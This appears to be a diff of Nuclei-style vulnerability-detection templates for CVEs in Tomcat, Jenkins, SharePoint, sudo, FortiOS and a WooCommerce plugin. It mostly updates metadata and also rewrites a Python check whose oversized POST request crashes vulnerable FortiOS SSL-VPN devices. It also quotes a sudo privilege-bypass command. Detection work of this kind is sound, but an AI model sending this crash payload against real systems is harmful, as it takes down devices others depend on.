host = parsed_url.hostname
|
||||
port = parsed_url.port if parsed_url.port else 80 if parsed_url.scheme == "http" else 443
|
||||
port = parsed_url.port if parsed_url.port else 443
|
||||
|
||||
if not host:
|
||||
return
|
||||
@@ -142,4 +138,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "contains(response,'server is vulnerable')"
|
||||
# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450220253c760b6f21558040bda6901fd015197a1b07bcd3071335dbc0a5fc5c97ef3b022100fd75f119e678cf94e08677f89145a463de9844d09a8c06970e23b00c321dab73:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.
|
||||
impact: |
|
||||
Attackers with network access can execute arbitrary commands remotely without authentication by exploiting the exposed unauthenticated Tomcat manager, achieving complete server compromise.
|
||||
remediation: |
|
||||
Restrict access to the Tomcat manager interface, enable authentication, and upgrade to a patched version of Apache Tomcat.
|
||||
reference:
|
||||
- https://medium.com/tenable-techblog/achieving-rce-on-tomcat-via-cve-2016-8735-a-proof-of-concept-13df8a9ef0e0
|
||||
- https://nvd.nist.gov/vuln/detail/cve-2016-8735
|
||||
@@ -17,8 +13,8 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2016-8735
|
||||
epss-score: 0.90338
|
||||
epss-percentile: 0.99785
|
||||
epss-score: 0.93875
|
||||
epss-percentile: 0.99862
|
||||
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
shodan-query: product:"tomcat"
|
||||
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are vulnerable to an unauthenticated remote code execution. An unauthenticated remote code execution vulnerability allowed attackers to transfer a serialized Java `SignedObject` object to the Jenkins CLI, that would be deserialized using a new `ObjectInputStream`, bypassing the existing blacklist-based protection mechanism. We're fixing this issue by adding `SignedObject` to the blacklist. We're also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS 2.46.2, and deprecating the remoting-based (i.e. Java serialization) CLI protocol, disabling it by default.
|
||||
impact: |
|
||||
Unauthenticated attackers can execute arbitrary code through unsafe deserialization in the Jenkins CLI interface, achieving complete server compromise.
|
||||
remediation: |
|
||||
Upgrade Jenkins to version 2.54 or later, or LTS 2.46.1 or later that fixes the unsafe deserialization vulnerability.
|
||||
reference:
|
||||
- http://packetstormsecurity.com/files/159266/Jenkins-2.56-CLI-Deserialization-Code-Execution.html
|
||||
- https://www.exploit-db.com/exploits/41965/
|
||||
@@ -19,8 +15,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2017-1000353
|
||||
cwe-id: CWE-502
|
||||
epss-score: 0.99679
|
||||
epss-percentile: 0.9995
|
||||
epss-score: 0.94508
|
||||
epss-percentile: 0.99999
|
||||
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: jenkins
|
||||
@@ -108,4 +104,4 @@ code:
|
||||
dsl:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
condition: and
|
||||
# digest: 4a0a00473045022100acb6e3a0983c53a0bfd56e18f97dfc891bbbd3d4c6cc8a18c1420df13eff43810220250f211d2d55e02e789d0a793a4a6b01f54ff2c8b5434fbe0949590ec4ce3a76:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502201673a5118dfdbecf60a1be63a1d24a000ed266e10d0c7fb6f78eb4598669fde1022100fa926a7397ae4e913a90e271a609b90629fd6be8e250915b0abe22c282144c60:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,8 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
|
||||
impact: |
|
||||
Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
|
||||
remediation: |
|
||||
Fixed in security update published Feb 12, 2019
|
||||
reference:
|
||||
@@ -19,8 +17,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2019-0604
|
||||
cwe-id: CWE-20
|
||||
epss-score: 0.99913
|
||||
epss-percentile: 0.99968
|
||||
epss-score: 0.94414
|
||||
epss-percentile: 0.99976
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: microsoft
|
||||
@@ -156,4 +154,4 @@ code:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
- 'contains(interactsh_request, hex_encode(marker))'
|
||||
condition: and
|
||||
# digest: 4a0a0047304502200fe38d0c06eeb9047d5a40f16c766dc388e43a6354a855a64103a83d2982bdca022100a37aed00b6278cdfd2d55d66bac12537bfb426cd0e5c3a029b36d352c24e6419:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a0048304602210082461cf3c1e6dd2447ebe24351e8beb9729daeaa31c70ffcee8b29094d53e51b022100e6f972c3ab3ec97a3380691d598c83e68e66ecb8f2eb69db912e5d3f66231e1d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
|
||||
remediation: |
|
||||
Upgrade Sudo to version 1.8.28 or later that properly handles crafted user ID values.
|
||||
impact: |
|
||||
Attackers can bypass privilege restrictions, potentially leading to unauthorized privilege escalation and incorrect logging.
|
||||
reference:
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287
|
||||
- https://www.exploit-db.com/exploits/47502
|
||||
@@ -21,8 +17,8 @@ info:
|
||||
cvss-score: 8.8
|
||||
cve-id: CVE-2019-14287
|
||||
cwe-id: CWE-755
|
||||
epss-score: 0.63917
|
||||
epss-percentile: 0.99131
|
||||
epss-score: 0.86126
|
||||
epss-percentile: 0.99351
|
||||
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -51,4 +47,4 @@ code:
|
||||
- '!contains(code_1_response, "root")'
|
||||
- 'contains(code_2_response, "root")'
|
||||
condition: and
|
||||
# digest: 4a0a00473045022046d4b314cdec2f65fc2be8a728d5531a9019c1cdade3cb534e838f003746d6b2022100802e43fcc351d0610c1bb8ed3c6599172c71be7a3c906edc15592ce39034630c:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a004630440220142b1e84a588dc114782c86821e49717d24b8ba55118a4080f47606c1aca3d7c02204503a2b4bcb76f99ad7088beeeb4a5af71dda20062a84b1667142ba11ea5490a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
A remote code execution vulnerability exists when the Microsoft .NET Framework fails to validate input properly, aka '.NET Framework Remote Code Execution Injection Vulnerability'.
|
||||
remediation: |
|
||||
Apply Microsoft security patches as described in the February 2020 SharePoint security update.
|
||||
impact: |
|
||||
Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
|
||||
reference:
|
||||
- https://www.cve.org/CVERecord?id=CVE-2020-0646
|
||||
- https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-0646
|
||||
@@ -19,8 +15,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2020-0646
|
||||
cwe-id: CWE-91
|
||||
epss-score: 0.99222
|
||||
epss-percentile: 0.99931
|
||||
epss-score: 0.93368
|
||||
epss-percentile: 0.99801
|
||||
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -106,4 +102,4 @@ code:
|
||||
- 'contains(content_type, "text/xml")'
|
||||
- 'status_code == 200'
|
||||
condition: and
|
||||
# digest: 4a0a00473045022100cf2dfc153a34f4110bafc3c5d944c7198590e64b9ec8faeaecfddc83bb9549a302204231fe2a3f337117091bada19f86603b9ee90b212a8ae5d59e80df451a792ba9:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a004830460221009d9bdc3780607102c88f8e2c24b7c11abaa1db7626959bea30844b3becad4398022100f8b42cfb37bdec09e2e983826a04f66fa50937cebe0b05d8b98cea1b558a21a9:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,16 +6,12 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
Apache Tomcat versions 10.0.0-M1 to 10.0.0-M6, 9.0.0.M1 to 9.0.36, 8.5.0 to 8.5.56, and 7.0.27 to 7.0.104 contain a vulnerability in the WebSocket module where the payload length of WebSocket frames is not correctly validated. This can lead to an infinite loop when processing frames with invalid payload lengths. Attackers can exploit this flaw by sending multiple malicious requests, resulting in a denial of service (DoS) on the affected Tomcat instance.
|
||||
remediation: |
|
||||
Upgrade Apache Tomcat to version 10.0.0-M7, 9.0.37, 8.5.57, or 7.0.105 or later that properly validates WebSocket frame payload lengths.
|
||||
impact: |
|
||||
Attackers can cause a denial of service by sending malicious WebSocket frames, leading to application unavailability.
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2020-13935
|
||||
epss-score: 0.87553
|
||||
epss-percentile: 0.99738
|
||||
epss-score: 0.92155
|
||||
epss-percentile: 0.99695
|
||||
reference:
|
||||
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
|
||||
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
|
||||
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
|
||||
remediation: |
|
||||
Upgrade Sudo to version 1.9.5p2 or later that fixes the heap-based buffer overflow vulnerability.
|
||||
impact: |
|
||||
Attackers can escalate privileges to root, potentially leading to full system compromise.
|
||||
reference:
|
||||
- https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
|
||||
- https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
|
||||
@@ -21,8 +17,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2021-3156
|
||||
cwe-id: CWE-193
|
||||
epss-score: 0.99295
|
||||
epss-percentile: 0.99933
|
||||
epss-score: 0.92188
|
||||
epss-percentile: 0.99697
|
||||
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -44,4 +40,4 @@ code:
|
||||
- "malloc(): memory corruption"
|
||||
- "Aborted (core dumped)"
|
||||
condition: and
|
||||
# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100f71982b68a0941b58c28d66c71e85126c4c968ced5ce8646155128b001dda849022100e1dfe8f43d26c8c72bbdedf39a5ca890a46771c1b941308525a570abd452244c:922c64590222798bb761d5b6d8e72950
|
||||
+101
-191
@@ -6,8 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
|
||||
impact: |
|
||||
Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.
|
||||
remediation: |
|
||||
Fixed in:
|
||||
FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
|
||||
@@ -24,8 +22,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2022-42475
|
||||
cwe-id: CWE-197,CWE-787
|
||||
epss-score: 0.99474
|
||||
epss-percentile: 0.9994
|
||||
epss-score: 0.9394
|
||||
epss-percentile: 0.99872
|
||||
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
@@ -38,8 +36,7 @@ info:
|
||||
fofa-query:
|
||||
- body="/remote/login" "xxxxxxxx"
|
||||
- icon_hash="945408572"
|
||||
tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
|
||||
|
||||
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
|
||||
flow: http () && code()
|
||||
|
||||
http:
|
||||
@@ -65,226 +62,139 @@ code:
|
||||
|
||||
source: |
|
||||
import sys, os, time, socket, ssl
|
||||
|
||||
PADDING = 0x4141414141414141
|
||||
PADDING_LEN = 1024*12
|
||||
CONTENT_LENGTH = b"4294967297"
|
||||
|
||||
# Configuration for false positive prevention
|
||||
POST_EXPLOIT_WAIT = 2 # Seconds to wait before post-exploit check
|
||||
POST_EXPLOIT_RETRIES = 3 # Number of retries for post-exploit connectivity
|
||||
CONNECTIVITY_TIMEOUT = 5 # Timeout for connectivity checks
|
||||
|
||||
class SSLVPNExploit:
|
||||
def __init__(self, host, port):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.useSSL = os.getenv("Scheme") == "https"
|
||||
|
||||
def create_socket(self, timeout=2.0):
|
||||
"""Create a new socket connection"""
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
if self.useSSL:
|
||||
ctx = ssl._create_unverified_context()
|
||||
sock = ctx.wrap_socket(sock)
|
||||
sock.connect((self.host, self.port))
|
||||
return sock
|
||||
except Exception as e:
|
||||
return None
|
||||
|
||||
def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
|
||||
"""
|
||||
Check if target is responsive with a simple GET request.
|
||||
Returns: (success: bool, response_time: float)
|
||||
"""
|
||||
try:
|
||||
start_time = time.time()
|
||||
sock = self.create_socket(timeout)
|
||||
if sock is None:
|
||||
return False, 0
|
||||
|
||||
get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
|
||||
get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
|
||||
|
||||
sock.sendall(get_req)
|
||||
sock.settimeout(timeout)
|
||||
response = sock.recv(4096)
|
||||
elapsed = time.time() - start_time
|
||||
sock.close()
|
||||
|
||||
return len(response) > 0, elapsed
|
||||
except Exception as e:
|
||||
return False, time.time() - start_time
|
||||
|
||||
def check_by_get(self):
|
||||
"""Pre-flight connectivity check"""
|
||||
print("[>] Pre-flight connectivity check...")
|
||||
success, elapsed = self.check_connectivity()
|
||||
if success:
|
||||
print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
|
||||
return True
|
||||
def connect(self):
|
||||
tries = 1
|
||||
if os.getenv("Scheme") == "https":
|
||||
useSSL = True
|
||||
print("[+] Using SSL/TLS")
|
||||
else:
|
||||
print("[!] Target is not responsive - cannot test")
|
||||
return None
|
||||
useSSL = False
|
||||
print("[+] Unencrypted connection")
|
||||
while tries <= 6:
|
||||
try:
|
||||
print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='\n')
|
||||
self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
if useSSL == True:
|
||||
ctx = ssl._create_unverified_context()
|
||||
self.socket = ctx.wrap_socket(self.cleartext_socket)
|
||||
else:
|
||||
self.socket = self.cleartext_socket
|
||||
self.socket.settimeout(2.0)
|
||||
self.socket.connect((self.host, self.port))
|
||||
|
||||
def send_exploit_payload(self):
|
||||
"""
|
||||
Send the exploit payload and analyze the response.
|
||||
Returns: (result_type: str, elapsed_time: float, details: str)
|
||||
Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
|
||||
"""
|
||||
req = bytearray(b"")
|
||||
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
|
||||
req += b"\r\nContent-Length: " + CONTENT_LENGTH
|
||||
req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
|
||||
req += b"AAAAAAAA" * PADDING_LEN
|
||||
return self.socket
|
||||
except socket.timeout as e:
|
||||
tries += 1
|
||||
print("Connection timeout!")
|
||||
continue
|
||||
except Exception as e:
|
||||
print("Unknown error!")
|
||||
print(e)
|
||||
return None
|
||||
return None
|
||||
def check_by_get(self):
|
||||
get_req = bytearray(b"")
|
||||
get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
|
||||
|
||||
print("[>] Sending GET first")
|
||||
if self.connect() == None:
|
||||
print("[!] Error connecting to target")
|
||||
exit(1)
|
||||
try:
|
||||
sock = self.create_socket(timeout=10)
|
||||
if sock is None:
|
||||
return 'ERROR', 0, 'Could not connect'
|
||||
self.socket.sendall(get_req)
|
||||
|
||||
start_time = time.time()
|
||||
sock.sendall(req)
|
||||
sock.settimeout(10)
|
||||
buf = sock.recv(1048576)
|
||||
elapsed = time.time() - start_time
|
||||
sock.close()
|
||||
self.socket.settimeout(10)
|
||||
get_buf = self.socket.recv(1048576)
|
||||
|
||||
if len(buf) == 0:
|
||||
return 'EMPTY_RESPONSE', elapsed, 'Empty response received'
|
||||
if len(get_buf) == 0:
|
||||
print("Error while sending GET. Protocol mismatch?")
|
||||
return None
|
||||
self.socket.close()
|
||||
return True
|
||||
except socket.timeout as e:
|
||||
print("[>] Target waited for more data.")
|
||||
return False
|
||||
|
||||
if b"413" in buf or b"Request Entity Too Large" in buf:
|
||||
return 'PATCHED', elapsed, 'Target returned 413 - patched'
|
||||
|
||||
return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]
|
||||
|
||||
except socket.timeout:
|
||||
return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
|
||||
except Exception as e:
|
||||
return 'CONNECTION_DROP', time.time() - start_time, str(e)
|
||||
|
||||
def post_exploit_connectivity_check(self):
|
||||
"""
|
||||
Check if target is still responsive after exploit attempt.
|
||||
This is the KEY differentiator between:
|
||||
- Firewall/WAF drop (device still responsive)
|
||||
- Actual crash (device unresponsive)
|
||||
|
||||
Returns: (responsive: bool, details: str)
|
||||
"""
|
||||
print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
|
||||
time.sleep(POST_EXPLOIT_WAIT)
|
||||
|
||||
for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
|
||||
print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
|
||||
success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
|
||||
if success:
|
||||
return True, f"Device responsive after {elapsed:.2f}s"
|
||||
time.sleep(1)
|
||||
|
||||
return False, "Device unresponsive after multiple attempts"
|
||||
print("[>] Target dropped the connection during test GET, which indicates a communication error!")
|
||||
print(e)
|
||||
return None
|
||||
|
||||
def is_vulnerable(self):
|
||||
"""
|
||||
Improved vulnerability detection with false positive prevention.
|
||||
req = bytearray(b"")
|
||||
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
|
||||
req += b"AAAAAAAA"*(PADDING_LEN)
|
||||
|
||||
Detection logic:
|
||||
1. If target returns 413 -> PATCHED (not vulnerable)
|
||||
2. If target times out waiting for data -> NOT VULNERABLE
|
||||
3. If connection drops/empty response:
|
||||
a. Check if device is still responsive
|
||||
b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
|
||||
c. If unresponsive -> LIKELY VULNERABLE (device crashed)
|
||||
"""
|
||||
print("[>] Sending exploit payload...")
|
||||
result, elapsed, details = self.send_exploit_payload()
|
||||
print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
|
||||
if self.connect() == None:
|
||||
print("[!] Error connecting to target")
|
||||
exit(1)
|
||||
|
||||
print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
|
||||
print(f"[>] Details: {details[:100]}...")
|
||||
try:
|
||||
# Send the payload. Vuln instances will crash, severing the connection and
|
||||
# causing an exception to be thrown here.
|
||||
self.socket.sendall(req)
|
||||
|
||||
# Case 1: Target is patched (413 response)
|
||||
if result == 'PATCHED':
|
||||
print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
|
||||
return False
|
||||
# If this read succeeds then the target is probably not vulnerable.
|
||||
# If it times out, then it's also probably not vulnerable.
|
||||
self.socket.settimeout(10)
|
||||
buf = self.socket.recv(1048576)
|
||||
|
||||
# Case 2: Target waited for more data (timeout)
|
||||
if result == 'TIMEOUT':
|
||||
print("[+] Target waited for more data - NOT VULNERABLE")
|
||||
return False
|
||||
# If the remote end disconnects without an HTTP response then it's vulnerable.
|
||||
if len(buf) == 0:
|
||||
return True
|
||||
|
||||
# Case 3: Connection drop or empty response - NEEDS VERIFICATION
|
||||
if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
|
||||
print("[!] Connection dropped or empty response - verifying if this is a false positive...")
|
||||
# Check to see if it has the vendor patch applied
|
||||
if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
|
||||
print("[>] Target is patched.")
|
||||
return False # 100% confidence that it's not vulnerable.
|
||||
|
||||
# KEY FIX: Check if device is still responsive
|
||||
responsive, check_details = self.post_exploit_connectivity_check()
|
||||
|
||||
if responsive:
|
||||
# Device is still responsive = Firewall/WAF dropped the connection
|
||||
print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
|
||||
print("[!] Device is still responsive after exploit attempt")
|
||||
print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
|
||||
return False # NOT VULNERABLE - false positive
|
||||
else:
|
||||
# Device is unresponsive = Possible crash
|
||||
print(f"[+] Device appears to have crashed: {check_details}")
|
||||
print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
|
||||
return True # LIKELY VULNERABLE
|
||||
|
||||
# Case 4: Unexpected response
|
||||
if result == 'UNEXPECTED':
|
||||
print(f"[?] Unexpected response received - manual review needed")
|
||||
print(f"[?] Response: {details}")
|
||||
# Ok, something weird and unexpected happened.
|
||||
print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
|
||||
print("----- BEGIN RESPONSE -----")
|
||||
print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
|
||||
print("----- END RESPONSE -----")
|
||||
self.socket.close()
|
||||
return None
|
||||
|
||||
# Case 5: Error
|
||||
print(f"[!] Error during exploit: {details}")
|
||||
return None
|
||||
except socket.timeout as e:
|
||||
print("[>] Target waited for more data. Not vulnerable.")
|
||||
return False
|
||||
except Exception as e:
|
||||
print("[>] Target dropped the connection, which indicates a vulnerable device!")
|
||||
print(e)
|
||||
return True
|
||||
|
||||
if __name__ == '__main__':
|
||||
host = os.getenv("Host")
|
||||
port = int(os.getenv("Port"))
|
||||
|
||||
print("=" * 60)
|
||||
print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
|
||||
print("(With False Positive Prevention)")
|
||||
print("=" * 60)
|
||||
print(f"[*] Target: {host}:{port}")
|
||||
print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")
|
||||
|
||||
host=os.getenv("Host")
|
||||
port=int(os.getenv("Port"))
|
||||
exploit = SSLVPNExploit(host, port)
|
||||
|
||||
# Step 1: Pre-flight connectivity check
|
||||
check = exploit.check_by_get()
|
||||
if check != True:
|
||||
print("[!] Pre-flight check failed - target unreachable")
|
||||
exit(1)
|
||||
|
||||
# Step 2: Vulnerability check with false positive prevention
|
||||
result = exploit.is_vulnerable()
|
||||
if check == True:
|
||||
result = exploit.is_vulnerable()
|
||||
if result == None:
|
||||
print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
|
||||
exit(2)
|
||||
|
||||
if result == None:
|
||||
print("[!] An error occurred testing for the vulnerability.")
|
||||
print("[!] Is this even a FortiGate SSL-VPN?")
|
||||
exit(2)
|
||||
if result == True:
|
||||
print("[+] Target appears to be VULNERABLE")
|
||||
exit(0)
|
||||
|
||||
if result == True:
|
||||
print("=" * 60)
|
||||
print("[+] Target appears to be VULNERABLE")
|
||||
print("[+] Device became unresponsive after exploit payload")
|
||||
print("=" * 60)
|
||||
exit(0)
|
||||
else:
|
||||
print("=" * 60)
|
||||
print("[+] Target is NOT vulnerable")
|
||||
print("=" * 60)
|
||||
exit(1)
|
||||
else:
|
||||
print("[+] Target is NOT vulnerable")
|
||||
exit(1)
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Target appears to be VULNERABLE"
|
||||
# digest: 4a0a004730450221008d60f494975c2f365a47491ce27477bf513b0d4f6b71a7fd4e9f82f7c198b11202204104a2dc75be320e2c0f4c39496fb8bf3af3e1e6893fb752b48496479b69180d:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100e913085eb3784826410469b3e2477d893db8b66741034bd3bf2b96c432ae5fa402207e41770b1a18ba058d8288ed36abea4b314f410b9b7a540c6db34418cddda5e7:922c64590222798bb761d5b6d8e72950
|
||||
@@ -21,8 +21,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-2640
|
||||
cwe-id: CWE-863
|
||||
epss-score: 0.15783
|
||||
epss-percentile: 0.96497
|
||||
epss-score: 0.92037
|
||||
epss-percentile: 0.99684
|
||||
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -55,4 +55,4 @@ code:
|
||||
- '!contains(code_1_response, "(root)")'
|
||||
- 'contains(code_2_response, "(root)")'
|
||||
condition: and
|
||||
# digest: 4a0a0047304502207917728442a34adcf10730b5bb34cff4c0fb684afd602a0392c638252803cc6b022100eba7353ec66e7266065937b65a38a34941b5910586479dff6627d8dea71df096:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a004630440220042744883085da6be3360bc592800813b59a32ca3cca5b357679359e6253ba240220221969866987b2d8a715ea12875a3378b4d34a00642ee1940414fb062dbb7ccc:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.
|
||||
remediation: |
|
||||
Upgrade Abandoned Cart Lite for WooCommerce plugin to version 5.15.2 or later that implements secure authentication and proper encryption.
|
||||
impact: |
|
||||
Attackers can log in as users, potentially accessing sensitive information and performing unauthorized actions.
|
||||
reference:
|
||||
- https://github.com/Alucard0x1/CVE-2023-2986
|
||||
- https://github.com/TycheSoftwares/woocommerce-abandoned-cart/pull/885#issuecomment-1601813615
|
||||
@@ -20,8 +16,8 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2023-2986
|
||||
epss-score: 0.41077
|
||||
epss-percentile: 0.98505
|
||||
epss-score: 0.9117
|
||||
epss-percentile: 0.99625
|
||||
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -630,4 +626,4 @@ http:
|
||||
- type: status
|
||||
status:
|
||||
- 302
|
||||
# digest: 4b0a0048304602210087ab040ed949f60ecbac016192aed5b03959776151fc5e894245dfdce2ea870f022100ed5405f120742116ef4340de802f1a55fe3a683347995c108e14bd69d4479311:922c64590222798bb761d5b6d8e72950
|
||||
